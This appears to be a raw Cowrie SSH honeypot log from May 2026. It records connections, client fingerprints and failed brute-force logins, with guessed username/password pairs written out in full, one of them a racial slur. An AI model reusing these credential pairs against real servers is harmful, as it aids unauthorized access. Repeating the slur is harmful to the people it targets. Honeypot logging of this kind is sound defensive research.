{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:43.663980Z","src_ip":"122.168.114.167","session":"0f0dca3652f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45280,"dst_ip":"159.203.135.109","dst_port":22,"session":"02eca54288ee","protocol":"ssh","message":"New connection: 159.203.92.129:45280 (159.203.135.109:22) [session: 02eca54288ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:08.063334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:08.067634Z","src_ip":"159.203.92.129","session":"02eca54288ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:08.071788Z","src_ip":"159.203.92.129","session":"02eca54288ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applic","password":"applic","message":"login attempt [applic/applic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:08.081744Z","src_ip":"159.203.92.129","session":"02eca54288ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:09.089085Z","src_ip":"159.203.92.129","session":"02eca54288ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":42540,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eaca3ce0ca7","protocol":"ssh","message":"New connection: 122.168.114.167:42540 (159.203.135.109:22) [session: 6eaca3ce0ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:13.516913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:14.769667Z","src_ip":"122.168.114.167","session":"6eaca3ce0ca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:14.774486Z","src_ip":"122.168.114.167","session":"6eaca3ce0ca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:21.572473Z","src_ip":"122.168.114.167","session":"6eaca3ce0ca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:24.756629Z","src_ip":"122.168.114.167","session":"6eaca3ce0ca7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":43033,"dst_ip":"10.17.0.5","dst_port":22,"session":"58337d0ed08a","protocol":"ssh","message":"New connection: 182.253.79.194:43033 (10.17.0.5:22) [session: 58337d0ed08a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:30.834939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:30.838469Z","src_ip":"182.253.79.194","session":"58337d0ed08a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:31.110308Z","src_ip":"182.253.79.194","session":"58337d0ed08a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nigger","message":"login attempt [root/nigger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:32.229372Z","src_ip":"182.253.79.194","session":"58337d0ed08a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:33.504252Z","src_ip":"182.253.79.194","session":"58337d0ed08a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":44946,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f8533c98410","protocol":"ssh","message":"New connection: 122.168.114.167:44946 (159.203.135.109:22) [session: 9f8533c98410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:51.160674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:52.928714Z","src_ip":"122.168.114.167","session":"9f8533c98410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:52.932921Z","src_ip":"122.168.114.167","session":"9f8533c98410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46680,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a8ae6636d79","protocol":"ssh","message":"New connection: 159.203.92.129:46680 (159.203.135.109:22) [session: 5a8ae6636d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:53.613466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:53.618280Z","src_ip":"159.203.92.129","session":"5a8ae6636d79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:53.623187Z","src_ip":"159.203.92.129","session":"5a8ae6636d79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applmgr","password":"123456","message":"login attempt [applmgr/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:53.635033Z","src_ip":"159.203.92.129","session":"5a8ae6636d79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:14:54.641213Z","src_ip":"159.203.92.129","session":"5a8ae6636d79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:01.790509Z","src_ip":"122.168.114.167","session":"9f8533c98410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.3","message":"Connection lost after 14.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:05.452277Z","src_ip":"122.168.114.167","session":"9f8533c98410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":47348,"dst_ip":"159.203.135.109","dst_port":22,"session":"31839456a5b6","protocol":"ssh","message":"New connection: 122.168.114.167:47348 (159.203.135.109:22) [session: 31839456a5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:29.788889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:32.608482Z","src_ip":"122.168.114.167","session":"31839456a5b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:32.612198Z","src_ip":"122.168.114.167","session":"31839456a5b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":10325,"dst_ip":"10.17.0.5","dst_port":22,"session":"a64002d50d36","protocol":"ssh","message":"New connection: 182.253.79.194:10325 (10.17.0.5:22) [session: a64002d50d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:32.778045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:32.782149Z","src_ip":"182.253.79.194","session":"a64002d50d36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:33.044454Z","src_ip":"182.253.79.194","session":"a64002d50d36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty7890","message":"login attempt [root/Qwerty7890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:34.127807Z","src_ip":"182.253.79.194","session":"a64002d50d36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:35.393321Z","src_ip":"182.253.79.194","session":"a64002d50d36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52448,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bea6199a62a","protocol":"ssh","message":"New connection: 159.203.92.129:52448 (159.203.135.109:22) [session: 6bea6199a62a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:38.987010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:38.992016Z","src_ip":"159.203.92.129","session":"6bea6199a62a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:38.996797Z","src_ip":"159.203.92.129","session":"6bea6199a62a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applmgr","password":"applmgr","message":"login attempt [applmgr/applmgr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:39.008752Z","src_ip":"159.203.92.129","session":"6bea6199a62a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:40.015230Z","src_ip":"159.203.92.129","session":"6bea6199a62a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:15:44.935449Z","src_ip":"122.168.114.167","session":"31839456a5b6","protocol":"ssh"}
